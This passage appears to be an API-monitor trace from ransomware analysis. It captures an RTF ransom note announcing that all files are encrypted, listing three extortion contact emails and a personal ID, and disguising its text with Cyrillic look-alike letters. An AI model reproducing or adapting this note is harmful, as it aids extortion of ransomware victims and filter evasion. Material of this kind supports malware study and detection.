n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n", cchWideChar=14086, lpMultiByteStr=0x1de4de8, cbMultiByte=14086, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur 